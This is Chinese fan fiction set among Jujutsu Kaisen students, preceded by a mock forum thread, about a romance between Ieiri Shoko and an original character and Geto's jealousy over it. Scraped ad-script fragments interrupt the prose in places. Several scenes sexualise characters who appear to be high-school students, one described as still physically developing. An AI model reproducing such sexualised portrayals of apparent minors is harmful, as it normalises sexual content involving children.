11L:为什么大家都说A和S在一起了。我和我的好朋友也这样抱在一起,偶尔亲嘴,但我们对彼此也没有想法,单纯地想贴贴罢了 12L:唇友谊是吧?亲朋好友是吧?都亲上了,哪天不小心把好朋友衣服脱了抠了,还说我们只想贴~贴~ loopy撇嘴歪头.JPG 13L:我也不明白,女孩子互相化妆有什么吗?这不是很正常吗? 14L:楼主,先别急,别听他们的。有的女生之间确实比较亲密,这得看A的性格和她与其他女生的交往方式 楼主回复14L:A在这之前只有我一个朋友 15L:那她怎么跟你相处的,参考一下呗 楼主:我是男的,可能不太有参考价值……?但她一样不排斥和我有身体接触,牵手拥抱之类的也会做…… 16L:楼主不会是被当男闺蜜了吧? 你是说A之前只有你一个男性朋友,现在多了个女性朋友S,而且跟她走得很近? 哥,她什么性取向你都不知道啊?!! 而且还是从小一起认识的?!! 楼主回复16L:A不太擅长与人交往,高中前也只愿意跟我说话,也不喜欢陌生人和人多的地方……不像是会喜欢任何人的样子? 18L:所以楼主就苦恋了很多年,最后发现人家压根不喜欢男的哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈 19L:直男爱女同,女同爱直女,直女爱男同,男同爱直男……这就是人类恋情中隐藏的食物链……没有人能够获胜……没有人……这就是……宿命!!!宿命!!!(破音)(嘶吼)(尖叫)(咳嗽)(再次发出尖锐爆鸣声) 20L:楼主放宽心,是不是真在一起这还不确定呢……认识这么多年还没追上,不管人家是不是女同,都说明你肯定没戏啦哈哈哈哈哈哈 21L:楼上你也没放过他 22L:好了,大家别落井下石了,都没看楼主都不说话了吗?其实也不一定是女同。或者楼主你再说得详细一点,大家帮你判断一下 23L:楼主要不直接去找A问吧 24L:我问一下楼主,A手指长吗?留长指甲吗?平常的打扮和发型怎么样?或者你发一下她的照片。是不是女同,我的姬达一看便知 楼主回复24L:照片可能不太方便透露……呃,平常的话,是水母头发型,打扮偏简约中性,手指偏长,不留指甲。 26L:呃啊,我的姬达!我的姬达!在狂响啊!!!对外高冷对内黏人的水母头美女……呃啊啊啊啊啊!什么时候能给我分配这样一个对象……!!!我……我也想要有甜甜的爱情…… 27L:如果还高智商戴眼镜的话……那就是我的天菜了…… 28L:楼主能推一下你青梅的lxfs吗? 楼主:我觉得单从穿着打扮上判断可靠性比较低。还有,不行。 30L:烧成灰了还发现有一张嘴 31L:哈哈,姐你看他@再也不吃谷再也不DB(停谷已黑化版) 32L:你也就只有现在嘴硬了 33L:你也就只有现在嘴硬了 34L:你也就只有现在嘴硬了 ——已折叠相同发言—— 78L:楼主不见了 79L:一方有难八方添乱 80L:现在说不定在怀疑 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 人生呢哈哈哈 …… 夏油杰确实有点怀疑人生。 一个离谱的猜想不断在心底扩大。 要不想个办法拐弯抹角试探一下?他放下手机,茫然地想。 …… 所以,第二天一早他就早早来到了教室,成为四人组里最先的那一个。第二个则是以六亲不认的步伐走进来的五条悟,摇摇晃晃,歪七扭八,水灵灵地拐进来。 他们闲聊时,上课时间快到了,却还不见两人身影。这对海月遥来说司空见惯,但对家入硝子而言较为罕见。 上课铃响时,一个身影才冲进教室。哦,更准确地说,是海月遥挟持着生无可恋的家入硝子冲了进来。 或许是因为有什么事情耽搁了,老师到现在还没有来。 海月遥露出“伟大的海月大人没有迟到”的得意表情,目光灼灼地看向家入硝子。 家入硝子则显得平静许多,她捋了捋被夹着跑时乱飞的头发,然后又看向了满头乱毛的海月遥。 昨晚因为某些原因睡得有点晚,导致一大早两人同时睡过头,早晨起来时都是手忙脚乱。她还记得,海月遥睡眼惺忪地抓起她的校服,把所有的扣子一股脑儿地扣上,然后整个套进去。她的脑袋在领口磨蹭了很久,才勉强钻了出来。 家入硝子本想阻止,但想起夏油杰,觉得这样也挺好,便默默穿起海月遥的校服。 由于海月遥还在发育期,她的校服都是偏大一号的。因此,当家入硝子穿起来时,竟然发现大小正合适。而反观海月遥穿上她的校服后,则显得宽松了许多。 等家入硝子穿戴完毕,那家伙已经完全清醒过来,神气地看向家入硝子,仿佛在炫耀:“我穿得超快!” “真了不起。”家入硝子敷衍地夸赞道。 秋天的空气湿度本就不高,经过这么一摩擦,她的黑发都因为静电炸起来,一头乱毛地朝她炫耀,等她随口夸了一嘴,更是得意得仿佛要冲破天际。 现在这个表情,跟早上在宿舍时的表情也差不多。家入硝子心想,伸手过去,细细地给她抚平乱飞的发丝,一边说道:“多亏你,我们才没迟到。” 海月遥很满意,矜持地点头。 “不,完全迟到了。”五条悟说着,戳戳家入硝子的后背,“硝子,你们怎么换着衣服穿?” 家入硝子侧坐在椅子上,一手支着下巴,调侃道:“因为某人一醒来就拿着我的衣服往自己身上套,我根本来不及阻止。” 海月遥不接受指控:“明明是硝子乱放。” “……等等,你们两个是一起睡的吗?”夏油杰突然插话,他表情古怪,唇紧紧抿成一条直线,眼睫低垂,仿佛在努力掩饰着什么。 家入硝子轻笑一声,翘起腿来,以一种更加放松的姿态看着他,“是哟。”她含笑回应,“哪又怎么了,夏油?” “不……没什么……”说着说着,夏油杰低下头,大拇指戳着眉心,“抱歉,我现在有点乱……” “杰,你怎么了?” 海月遥转过身,趴在他桌子上。她的下半张脸几乎都要埋进家入硝子制服的立领里,上面淡淡的香味让她感觉很安心。 硝子的味道。 喜欢。 见夏油杰没有回应,她便又转过头去和家入硝子讨论起洗衣珠的香味来。直到老师进来,她们才闭上嘴。 …… “悟,你不觉得最近小遥和硝子有些奇怪吗?”夏油杰再次问道。 “杰你才奇怪吧?”五条悟不满地抱怨,“这问题你都问了我多少次了。” 不,她们就是奇怪。 夏油杰陷入混乱。 35.硝线(十五) “小遥最近是不是和硝子走得有点太近了?” “再多看看我吧……” …… 海月遥睁开眼。 她今天醒得格外早,早到秋季的太阳还没能透过窗帘的缝隙,早到家入硝子还安静地睡在她身边,呼吸平稳而轻柔。 秋季的早晨总是带着些许凉意,她却难得地感到温暖。 因体质原因,她的体温一直偏低。可抱着家入硝子时,她却觉得有暖流从心底淌过,就连这带着沁透凉意的秋季,也被她们紧紧相拥的体温捂得暖烘烘的。 醒太早,精力条也满了,但海月遥并不想打扰硝子的美梦。她就这样安静地抱着家入硝子,细细地打量着她。 自从那次发烧之后,她感觉与硝子之间的最后一层隔膜似乎消失了。无论是在心理上,还是在身体上,她们都融为一体。 亲近到杰昨天对她问出:“小遥最近是不是和硝子走得有点太近了?” 太近吗?可她觉得现在这样很好。 “虽然小遥说你们很像,但也不必因此一直只关注硝子吧?” 但现在,她看向硝子的理由已经不再是因为这个了。 “我也是小遥的朋友啊。”杰的声音带着些许落寞,“……能不能不要一直忽视我?” “还是说,你们已经……不,就当我什么都没说……” 杰希望她偏向他。 ……但硝子也希望她偏向她。 昨晚月升潮涨时,被月光笼罩的硝子亲吻着她,用被汹涌的潮水打湿到有些颤抖的声音,在她唇畔说道: “再多看看我吧……” 可她明明一直都看着。 海月遥觉得这两个人都很奇怪。 一向委婉的夏油杰变得直白,一向坦率的家入硝子则有话不肯直说。海月遥才不信是什么多看看她的话。 说到底,大家想要什么,直接说出来就好了。为什么要藏着掩着? 尤其是硝子。 海月遥抚上家入硝子的侧脸,透亮的蓝眼睛一眨不眨地盯着她,高密度的蓝色像是无机质的摄像头,监视着她的一举一动。 明明感觉在她提出交往前,硝子那天都想睡她,但在交往后,硝子却没有那时热衷这件事了。倒不是说硝子不沉溺其中,但开始前,她似乎总有什么顾虑。 硝子到底想要什么? 海月遥陷入沉思。 海月遥恍然大悟。 就像有人交往后不愿意公开一样,也有人根本不想交往,只是对另一方有生理上有兴趣,根本不想谈恋爱。 海月遥想起家入硝子阻止她告诉夏油杰两人睡了的事实,又想起来家入硝子对交往这一件事模糊的态度。 她明白了! 硝子只是对她的肉/体感兴趣! 感情对她来说只是额外的负担。 这么想着,海月遥坐起身,看向床头柜放着的那个宽带颈圈,拿起后对着家入硝子比划一番,或许是她的动作有点大,吵醒了熟睡中的棕发少女。 “遥……?” 家入硝子睡眼惺忪地睁开眼,只见海月遥坐起身,被子滑落至腰间。现在还很早,房间里一片昏暗,更衬得她像是女儿节高坐台上的日本玩偶。 那双饱和度过高的蓝瞳紧紧盯着她。 “会着凉的……”家入硝子说着,把被子往上拉了拉。然而,海月遥只是继续专注地比对颈圈与家入硝子的脖颈大小。 “这个尺寸也很合适硝子。”她打量完毕后,面无表情地说。随后,她伸出微凉的手,轻轻拂过家入硝子的脖颈,摩挲着。 有点冷,也有点痒。 家入硝子心想。 “这么早就醒了?”她面色如常地问道。 “1。”海月遥漫不经心地点头,“我吵醒硝子了,你还要继续睡吗?” “唔……有点睡不着了。” “是吗?”海月遥不置可否,俯身靠近家入硝子,双腿岔开半跪在她腰侧,动作轻柔地将项圈系在她的脖颈。 被子原本盖在她身上,此刻大量冷空气涌入,令恍惚的家入硝子瞬间清醒。 两人都只是穿着轻薄的睡衣,秋日的凉意让身体先于大脑紧张起来,神经紧绷,每一寸肌肤都仿佛变得异常敏感,捕捉着空气中的每个细微变化。 肌肤相贴间,海月遥垂落的衣摆轻轻划过家入硝子的大腿根,而贴合在脖颈处的手心更是带来难以言喻的刺激…… 这些触感被无限放大。 直到海月遥弯下身,侧边柔顺的黑发如凄凉的月色般垂落在家入硝子身上。这一刻,家入硝子觉得这些发丝像是黑蛇一样,紧紧贴合着自己,仿佛自己就是它们眼中的猎物。 她下意识地打了个颤,而始作俑者却没有任何反省的意思。 海月遥居高临下地注视着家入硝子,澄澈的蓝瞳中清晰地倒映出对方纤长的脖颈和略显迷茫的眼神。 “很适合硝子。” 她少见地笑了起来。 奇怪。 家入硝子这样想着,只是轻笑一声,回应道:“我想,这世上应该没有把收到的礼物再退还给送礼者的道理吧?” “我可以再去买一个给硝子。”海月遥轻缓地摩挲着她脖颈。“如果硝子想要的话。” “不用了,谢谢。” 家入硝子随口应着,同时坐起身来,解开颈圈。她倒是不喜欢颈部有任何束缚。目光掠过海月遥微敞的衣领,看到那若隐若现的银链和那粒可爱的小痣,她笑着问道:“要我帮你把它戴回去吗?” 海月遥眨眨眼,看着她不说话,最后才慢吞吞地回了句:“1。” 说着,她坐下来,为了方便家入硝子操作,她低下头。黑发如瀑布般滑落,露出白皙如雪的后颈。 当家入硝子正专注地为她系着颈圈时,海月遥平静地开口:“硝子。” “嗯,怎么了?” “你喜欢和我做吗?” 问出这句话时,她抬眼看向家入硝子。 两人的距离本就因为系颈圈而拉得很近,此刻更是几乎要贴在一起。那略显苍白的唇瓣在说话间轻轻颤动,如同初绽的玉兰花在风中摇曳,脆弱而美丽。 海月遥见家入硝子不回答,便牵引着她的手,在自己身上游走。薄薄的睡衣根本挡不住玲珑的曲线。这具身体还在生命力旺盛的发育期,就像是含苞欲放的花朵,叫人爱怜。 她歪着头,眸光闪烁着微妙的光,再次轻声问道:“你喜欢和我做吗?” “不错的提议。”家入硝子收回手,温柔地将海月遥那缕垂落的黑发拨回耳后,“但即使只是这样静静地呆在一起,我也相当满足了。” 这样呆在一起?海月遥不解地观察现在她的处境。是指她只穿上衣,坐在硝子腿上吗? 不是要做,就是要她穿得清凉…… 海月遥大惊失色。 硝子,好淫.乱! 家入硝子:…… 总感觉她在想什么很奇怪的事情。 她决定还是多解释几句:“比如说医务室呆在一起的时候。”虽然两人有时候不会聊天,可就算是静静地呆在一起,就足够了。 听到“医务室”三个字,海月遥的思绪立刻被拉回到前几天的那个差点被夏油杰撞见的吻。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 硝子,更淫.乱了! 她佯装惊恐地把被子裹得更紧。 “冷吗?”家入硝子显然没跟上她的脑回路,又替她把被子往上拉一点。 海月遥慢吞吞地摇头,看着家入硝子,最终说出几个字: “硝子是变态。” 家入硝子:??? …… 到底谁是变态呢? 家入硝子腹诽。 她现在都在怀疑海月遥跟自己交往就是为了有合理的理由睡在一起。 这才交往多久,每天晚上都要抱着自己的枕头,穿得清凉,来她宿舍自荐枕席。白天也一样,时不时就要索吻。 这孩子,明明看起来是性冷淡,却意外地相当热衷这件事啊。 “现在还在外面哦。”医务室里,家入硝子按下海月遥准备解开纽扣的手,提醒道。 “可硝子很喜欢。” 海月遥却轻巧地挣脱她的手,宽松的制服外套顺势滑落,露出里面的针织衫。她微微俯身,就吻上了坐在椅子上的家入硝子。 “既然是硝子的愿望,我会帮你实现。” 不,麻烦你看一下场合。家入硝子心想,却也抬头配合着她的吻。 海月遥的吻技似乎进步不少,她摘下眼镜,更深入地与家入硝子接吻。 热烈,缠绵。 就像是想要完全占据家入硝子的心神一般。她碾咬着、追逐着,直到两人都微微发热,才结束这个吻。 “……哈……我现在没有这样的想法。” 家入硝子微微喘息,她深知这个电波系的个性,直白地说道。她给海月遥重新披好外套,却不经意间看到她脸上茫然的表情。 “明明硝子那天还想睡我。”海月遥不解地举例,“之前也一直想亲我。为什么现在要拒绝?” “难、难道是,七、七天之痒!” 海月遥大惊失色。 哇,比秘密情人还时髦。 她偶尔喜欢乱用这些词。 “硝子,你是不是已经厌倦我的身体了?” 不,这家伙到底在说什么…… 家入硝子无语。 …… 夏油杰刚要敲门的动作一顿。 说实话,事到如今,他还一无所觉,那便是自欺欺人了。自从那抹怀疑悄然生根,他便开始用审视的目光去捕捉两人之间蛛丝马迹,每一次眼神交汇,每一次有意无意的触碰…… 他一直犹豫着什么时候挑明这件事。 他太混乱了。 暗恋的青梅喜欢的是女生…… 诶……?女生?这……这可怎么办? 那他岂不是连性别都不对? 比起青梅和其他人在一起的愤怒,他更多的是困惑和无措。 在一起了能分,可性取向这是天生的…… 夏油杰目前都还没想明白这件事,只是茫然地过来找海月遥,原本想按自己之前的习惯先敲门,可最终却深吸一口气,猛地拧开门。 “硝子,你是不是已经厌倦我的身体了?” 夏油杰刚打开门,就看见海月遥半披着制服外套,背对着自己,跪坐在家入硝子腿上,两人的姿势亲昵而暧昧。听到声响,海月遥回过头,与他四目相对。 身体……厌倦……? “遥……?”夏油杰的嘴几次张合,却不知道说什么好,最后只挤出了几个字,“你们两个……在一起了?” “0。”/“是。” 海月遥和家入硝子的回答同时响起。 ??? 现在,懵住的变成了三个人。 医务室内一片死寂。 36.硝线(十六) 狭小的医务室内,气氛变得异常微妙,仿佛连空气都凝固起来。 哈,三足鼎立。 一时间,没有人说话。 家入硝子对于夏油杰撞见她和海月遥亲密的场景并不在意。她迟早会公开两人的恋人关系,只是更希望等海月遥真正喜欢上自己。 ——而非仅仅为了满足她的愿望。 但此刻,两人衣衫不整,唇瓣微肿,想瞒也瞒不住了。家入硝子索性决定顺水推舟,刚回答了一个“是”,坐在她腿上的海月遥却否认了两人的关系。 诶?啊?哈? 她们不是已经交往有一段时间了吗? 难道遥还以为她们只是普通朋友?明明已经同床共枕那么多次了。而且,那天她发烧时,遥不是还说要负责吗?难道是自己误解了她的意思? 家入硝子难以置信地看向海月遥,却只能看到她的侧脸轮廓。而海月遥的目光,正落在夏油杰身上。 怎么回事?什么情况? 这些问题同时在三人的脑海中闪过。 最终,还是海月遥率先打破了这份沉寂。 她转过头,看向家入硝子,脸上带着一丝纳闷与不解:“硝子,我们不是肉.体关系吗?” “咔嚓!” 是医务室门把手被猛然拧断的声音。 “肉、体、关、系……?” 夏油杰的脸色阴沉得仿佛能滴出水来,每一个字都像是从牙缝中挤出来的,带着难以抑制的愤怒。他手中紧握着那扭曲变形的门把手,金属已被怒火挤压得脆弱不堪。 他快步走到海月遥身边,本想握住她的手腕,但伸出的手在半空中颤抖着收回。他近乎恳求地说:“遥,这样的事……明显不对吧?” “为什么不对?”海月遥反问。 “这种事……”夏油杰嘴几次张合,却不知道怎么跟以前无话不谈的幼驯染解释清楚。毕竟他再也清楚不过,海月遥根本不在乎这些。 面对认识多年的竹马,海月遥多了几分耐心,轻声解释:“硝子和我互相喜欢,这样不就足够了?交不交往无所谓吧。” 海月遥觉得自己已经足够贴心,在她看来,如果恋人身份对家入硝子来说是一种负担的话,那她也可以不是恋人。 身份不过是形式而已。 就像她和硝子还是朋友的时候,她们就会接吻一样。 可当她说完这句话,却看见夏油杰的神情反而更加晦暗几分。 奇怪。 她刚刚说错什么了吗? 夏油杰本以为,对于二人交往的事情,自己已经有了足够的心理准备。可当“肉.体关系”这几个字从海月遥的口中说出时,他才发现,自己无论如何也无法接受这样的事实。 完、全、接、受、不、了!!! 这甚至比交往还要难以接受!!! 此刻,他只能站在一旁,看着海月遥岔开腿坐在家入硝子腿上,扭过头与他说话,强调她和硝子是互相喜欢的。 无比刺眼。 夏油杰紧握拳头,关节因用力而泛白,指甲深深嵌入掌心,疼痛让他勉强维持着比较正常的表情。 而原本默不作声的家入硝子直到现在才神情稍缓,但还是紧紧攥住坐在自己腿上的海月遥的手,皱着眉问:“我们没有交往吗?” “硝子你不是不喜欢吗?”海月遥耐心地解释,“之前说要交往时,硝子就拒绝过。而且,明明交往前就睡过,结果交往后硝子就不想睡我了。如果交往对你来说是负担,那我们就不要交往了。” 她倒是看得很开:“既然是硝子的愿望,我会帮硝子实现。反正我无所谓。” 家入硝子惊觉自己在海月遥这边的形象完全就是贪图人家身体的人渣。尽管海月遥并不觉得这有什么不妥。 或许这个不怎么通人性的家伙觉得,朋友间满足对方的欲望也是很正常的事。 这正常吗?! 那她们这些天睡在一起又算什么? 这家伙难道是觉得自己是真的单纯喜欢和她做,所以这些天一直缠着她要睡吗?! 医务室的气氛愈发沉重,与其说是安静,不如说是死寂。 电波系选手几句话就让两人陷入混乱。 始作俑者却毫无反省之意,反而疑惑地看着家入硝子和夏油杰各异的脸色。 家入硝子脸上毫无表情,琥珀棕的眼瞳一动不动地盯着海月遥。而夏油杰薄唇紧抿,下颌线紧绷,仿佛随时都会爆发。 真奇怪。 她刚刚又没说什么,怎么两个人突然都不说话了? 突然,家入硝子笑了,仿佛春光照进气氛凝重的医务室,连挥之不去的冷凝气息也消散不少。她温和地拍了拍海月遥的肩膀,示意她从自己腿上起来。 “看来我们之间有些误会。”家入硝子慢条斯理地整理着衣领,“不过,很快就会解决的。” 说完,她站起身,细心地为海月遥扣好纽扣,目光只是淡淡地掠过夏油杰:“抱歉,夏油,能给我们留点空间吗?” 夏油杰曾多次说过类似宣示主权的话,但当家入硝子这样说出来时,她却并没有感到愉快。并非她对夏油杰有什么愧疚,只是单纯觉得这件事没有值得高兴的地方。 然而,夏油杰此刻只觉得家入硝子的话格外刺耳。他勉强挤出一丝笑容,故作轻松:“硝子想和小遥聊些什么呢?我也挺好奇的。” 家入硝子摊手,站定在夏油杰面前:“当然是我和遥之间的秘密。” “秘密……呵,秘密?” 夏油杰喃喃自语,最终冷笑一声,暗紫色的眼眸扫过坐在转椅上无所事事的海月遥,停留片刻后,才恋恋不舍地转到家入硝子身上,眼中闪过一抹复杂的情绪。 “那种事?那种关系?确实该成为秘密呢。” 家入硝子忽略掉他的讽刺,轻声道:“夏油,我们出去聊?” “为什么要出去?”夏油杰和海月遥异口同声地问道。话音落下,夏油杰先是一愣,随即嘴角勾起一抹浅笑:“在这里不也可以吗?” 家入硝子垂下眼眸,扫了一眼夏油杰紧握的拳头,它甚至因过度用力而微微颤抖。她语气平和:“但你不想让遥知道吧?” “硝子说得真冠冕堂皇,明明你也有自己的私心。”夏油杰语气温和地反讽。 家入硝子确实不想让夏油杰喜欢海月遥的事情暴露出来。现在表面上的确是她们二人在一起,可实际上,谁又说得准呢? 还是朋友的时候,海月遥就能因为是她的愿望,和她接吻……她不愿心大地低估夏油杰对海月遥的重要性。 她不会给他留任何机会。 所以,家入硝子轻笑一声:“既然我们都不想暴露,那出去聊不是最优解吗?” “如果我偏不呢?” “胡闹只是孩子的特权哦,夏油。别做让自己后悔的事。”家入硝子伸出手,轻触夏油杰手背,那一刻,咒力流动,反转术式悄然运转。 被硬生生掐出的伤口迅速愈合,仿佛从未存在过一般。但不知是心头的烦乱,还是皮肉下止不住的瘙痒感,夏油杰此刻只想再次狠狠撕开伤口。 就那样,鲜血淋漓。 不只是伤口,连同深藏的秘密,都彻底地暴露在另一个人面前。 但是,不行。 “行,出去。” 他终究还是克制住了自己。 一旁的海月遥:??? 打什么哑谜? 见二人准备扔下自己,她握住家入硝子的手腕:“为什么不能让我知道?” 明明眼前的两个人都是她最重要的人,可当两人要背着她聊时,她却有种说不出的难受,这种情绪不知出自哪处。或许也只是她好奇心太重吧,海月遥心不在焉地找着理由。 “遥,只聊一会儿。”家入硝子回避问题,轻轻拍了拍她的手背。 海月遥抬眼看向她,缓缓地收回手,眼睛却一刻也没有移开,如同一条在猎物逃脱后,缩回巢穴继续潜伏的黑蛇。 “嗯。” 她安静地坐回了转椅上。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> …… “既然支走了小遥,硝子,你要说什么呢?”夏油杰维持着假笑,一手半撑着下巴,视线空洞地望向不远处。 他们站在连接楼栋的走廊过道上,高专本来人就不多,这里更是少有人来。 家入硝子从烟盒中取出一支烟,夏油杰见状,忍不住又多嘴了一句:“你不是说要戒烟吗?” “是的,夏油妈妈。”家入硝子并没有打算点燃,只是用指尖碾着烟头,烟叶被她弄得一团糟。“夏油,你应该明白,事已至此,你改变不了什么。” “哈哈。”夏油杰伸出手掌,接住掉下来的烟叶末。两人神态平和,可却句句针锋相对:“硝子,未来还长,别过早下结论。”他意有所指。 “未来我不知道。但我清楚,现在紧咬不放,对你没有好处。” “那就可得让你失望了,我其实还蛮固执的。”夏油杰垂下眼,以平静异常的语气说道。“硝子,那种关系,我怎么样都不会认同的。” “我知道你不接受。当然,我也不。” “是吗?”他不冷不热地又问,“什么时候开始的?” 家入硝子的脑海中突然浮现出海月遥不久前提到的“七天之痒”,忍不住侧头轻笑一声,却被夏油杰误解为挑衅。 “七天。” 七天……夏油杰发现它比意想得更短,心中略一换算,不就是海月遥发烧那天吗? 啊? 啊…… 啊??? 所以他只是随口托付家入硝子一句照顾自己的青梅,她俩就好上了?! 他说的照顾,是这种意思吗? 夏油杰的脑海中浮现出那天两人额角冒汗、面颊绯红的情景…… 他狠狠地一拳砸在墙上。 …… “现在,是时候解决我们之间的问题了。” 家入硝子见夏油杰的背影逐渐远去,不紧不慢地回到医务室。她走进房间,一手按住正在转椅上不停旋转的海月遥。这人或许是觉得无聊,自顾自地转起圈。 “硝子?”海月遥歪头看向她。“谈完了?” 她的视线从家入硝子清秀的脸庞缓缓滑落到她那修长的脖颈。 她心想,果然硝子戴上颈圈会更合适。 家入硝子并不清楚海月遥在想什么,她表情平静,却突然给了海月遥一个爆栗。 额头发红的海月遥也面无表情地回敬一个爆栗,不过收了力,毕竟输出和奶妈的力量不是一个量级的。 当然,速度也是如此。 家入硝子没能躲过这一击。 海月遥从不让自己无故受委屈。 “你哪里做得对了?”家入硝子仿佛从海月遥那张面无表情的脸上看到了控诉,她揉着额头,弯下身来与海月遥对视,没好气地问:“你再说一遍,我们俩是什么关系?” “肉.体关系。”海月遥毫不犹豫地回答。 很好。 是个坚持自我的孩子。 “如果我没理解错的话,我们算是交往了吧?就在几天前?”家入硝子一条腿跪在海月遥两腿之间。 “但硝子不喜欢。还有,是六天前。”海月遥纠正道。 “……你从哪里看出我不喜欢?” “解释过了。”她懒得多费口舌。 “就因为不想一起睡?”家入硝子反而笑了,她微微侧身,坐在海月遥的左腿上,“遥,你就这么热衷这种事?” 海月遥觉得仿佛有一盆黑水从天而降,浇在她的头上,她不可置信地反驳:“明明是硝子喜欢。” “那这些天一直缠着我的是谁?”家入硝子反问道,“我可没这么说过。” “那硝子到底喜不喜欢?”海月遥抬起头,唇瓣凑近,两人近得能感受到彼此的呼吸。 “喜欢。” 绵长的一吻。 “我喜欢你哦,遥。” “和我交往吧。” “嗯。” 海月遥冷淡地应承,却再次吻了上去。 37.硝线(十七) 夏油杰并不认同两人的关系。 他清楚,家入硝子的个性绝不会像那天他听到的那样对待海月遥。但既然海月遥有这样的想法,她自然有她的理由。 夏油杰没有放弃,但家入硝子同样坚持。 …… “小遥,这周末要一起出去吗?”夏油杰眯眼笑道,专注地看着只到他肩头的少女。 紫眸里清晰地映着她漫不经心的神情。 海月遥冷淡地回答:“0。” 他垂下睫羽,掩住眼底的情绪,随即又扬起笑容:“我能问一下原因吗?” “硝子约我了。”她把玩着长侧发,头发已被家入硝子编成精致的麻花辫。硝子似乎对给她编头发情有独钟,明明她自己只是短发。 夏油杰拉平嘴角,又笑道:“那只能等下次有空了。” …… 可下次却似乎遥遥无期。 家入硝子几乎占满了海月遥的所有空闲时间,留给夏油杰的寥寥无几。甚至有一天她送给夏油杰一本书,书名叫做…… 《插足百合的男人不如去死》。 那一刻,夏油杰的表情异常丰富。 “挑衅吗?”他皮笑肉不笑地问。 “不,是礼物。”家入硝子笑着说,“我可没那个闲心挑衅你。” “那我就只好谢谢硝子了。” “哈哈,不用。” 夏油杰:。 …… 夏油杰终于没忍住。 “真过分呢,硝子。”他站在宿舍大厅,皮笑肉不笑地说道,“明明我什么都没做。” 明明是什么都没来得及做。家入硝子瞥了他一眼,继续不紧不慢地按自动售货机的按钮,一罐咖啡滚落下来。 “这只是我们的日常。”她背对着夏油杰随口回答,“哪里过分了?” “日常?指每次都恰好地占用所有的时间?” “是哟。”家入硝子拿到咖啡,没有立即打开,目光在售货机上徘徊。 “硝子好像很警惕我?” “是吗?”她找到目标,按下按钮。 “太过分了。” “抱歉呐~”她蹲下身,拿起挑好的可乐,随手抛给坐在大厅长椅上的夏油杰,“喏,赔礼。” “谢谢,但我想要的不是这个。”夏油杰笑着接过,家入硝子也顺势坐下。 “要太多就太贪心了,夏油。”家入硝子笑道,“你也知道,我不抵触朋友间的正常交往。” “约着出去玩或许就是朋友间可以做的事?”夏油杰拉开可乐罐的易拉环,“嗤”的一声,伴随着气泡不断上升和破裂的声响。 冰凉的液体顺着喉舌滑入体内,舌根上却满是粘稠的糖精味,像是糖水洒在桌上,干掉后留下的难以擦掉的褐痕。 他皱了皱眉。 这种恶心的甜味,在家入硝子那句“放弃吧”后,逐渐转为沉重的苦涩。 “如果夏油你没有别的想法,我肯定不会拦你。”她意有所指地说,“我和遥交往了,也不是上次你听说的那种关系。” “所以,放弃吧。” “……” 她的一句话仿佛为整场对话画上了休止符。一时间,无人开口。 宽敞的大厅内,只剩下两人轻微的呼吸声,以及夏油杰捏紧可乐罐时,易拉罐发出的微弱悲鸣。 “哈哈,抱歉。” 过了许久,夏油杰笑出声来,狭长的狐狸眼眯成深邃的弯月,眼底的神情难以捉摸。他的语调变得轻松,先前的紧绷感荡然无存。 “但我还是做不到。” 他扫了眼被攥得变形的可乐罐,以及手指上残留的褐色糖水,随后施施然站起身。 “真是一团糟。”他像是说手上的可乐,“我得去洗手。时间不早了,硝子早点休息吧。” 他没等家入硝子回应,便准备往楼梯口走去。可还没走出几步,就被她打断了。 “之后我不会拦你了。” 夏油杰瞪大眼睛,回头看向家入硝子。她垂下眼眸,没有与他对视,只是盯着手中的咖啡。 “这是可怜我吗?”他眯起眼问道。 “不是哟,夏油。”她这才抬起头,琥珀棕的眼瞳直视着他,“但要记住,你只有一次机会。” 两人都明白她话中的含义。 夏油杰只有一次向海月遥摊牌的机会。这不是家入硝子的施舍,而是他本来就拥有的机会。然而,一旦被拒绝,他就彻底失败了。 见夏油杰不回答,家入硝子仿佛卸下了什么重担,惬意地翘起腿。她一手托着下巴,另一只手则轻轻捏着咖啡罐的边沿,随意晃荡。 “怎么,又不想了吗?”她笑道,“或者,这周末去你家如何?就两个人?” 拦得了一时,拦不了一世,不如趁早做个了断。家入硝子心想。 而且,海月遥也不是她的所有物,最终自然还是要看她的个人意愿。 明明她们互通心意,明明方案也是她提出的,可此刻家入硝子却难得紧张起来。 紧张、心虚、愧疚……种种情绪交织,但她最终归于平静,耐心地等待着夏油杰的回应。 “硝……”夏油杰的话还未说完,就被外面传来的一句“你怎么在上面?”打断。 是五条悟的声音。 两人的注意力被吸引,却没见人走进来。 “跟你说话呢!”五条悟喊道。 “0。” 冷淡的女声终于回应。 可这声音……是从头顶传来的。 在大厅的两人不约而同地抬起头,只见刚才的话题中心人物正趴在大厅高处的小方窗上,额头顶着玻璃,琉璃蓝的眼睛一眨不眨地盯着他们。 海月遥:盯—— 两人:…… 这个熊孩子怎么在这儿! 两人呆滞地想。 外面的墙上没有任何借力点,她究竟是怎么上去的?而且,她刚才到底偷听了多少?! 见被发现,海月遥没有半分心虚,而是神情自若地推开窗。幸亏她身形纤细,得以从窗口轻松进入。她弯身跪坐在窗沿上,默默扫视了两人一眼,随后灵巧地跃下。 她落地时声音极轻,几乎没有任何声响,唯有那因为跃下而飘起的长长侧发,在空气中划过一道黑痕。 但她没有说话,视线在二人间逡巡着,看得两人不知为何心虚起来。 打破这僵持场面的还是五条悟,他表情古怪地看着大厅里“三足鼎立”的对峙场景,不明所以地问道:“你们三个杵在这里干什么?” “刚在说这周末要去杰家。”出乎意料的是,海月遥先开了口,她指了指家入硝子,“硝子要去。” 家入硝子:? “我也没去过!我也要去!”五条悟感觉自己被孤立了。 海月遥点头:“那就再加上你,我就不去了,想睡觉。” 夏油杰:? 所以现在是什么情况? …… 暂且不提四人在夏油家的那次团建,或许终于察觉到了什么,当家入硝子独自留在医务室时,海月遥悄无声息地走进来。直到她微凉的手抚上家入硝子的脖子,轻声唤着她的名字,家入硝子才发现海月遥的存在。 “硝子。” 由于海月遥是从椅子背后走来的,家入硝子仰头时,恰好能看见她光洁的下颌。她脸颊侧边的黑发如同逶迤的黑河,从肩上滑落,垂落在椅背上,与褐色的发丝交织在一起。 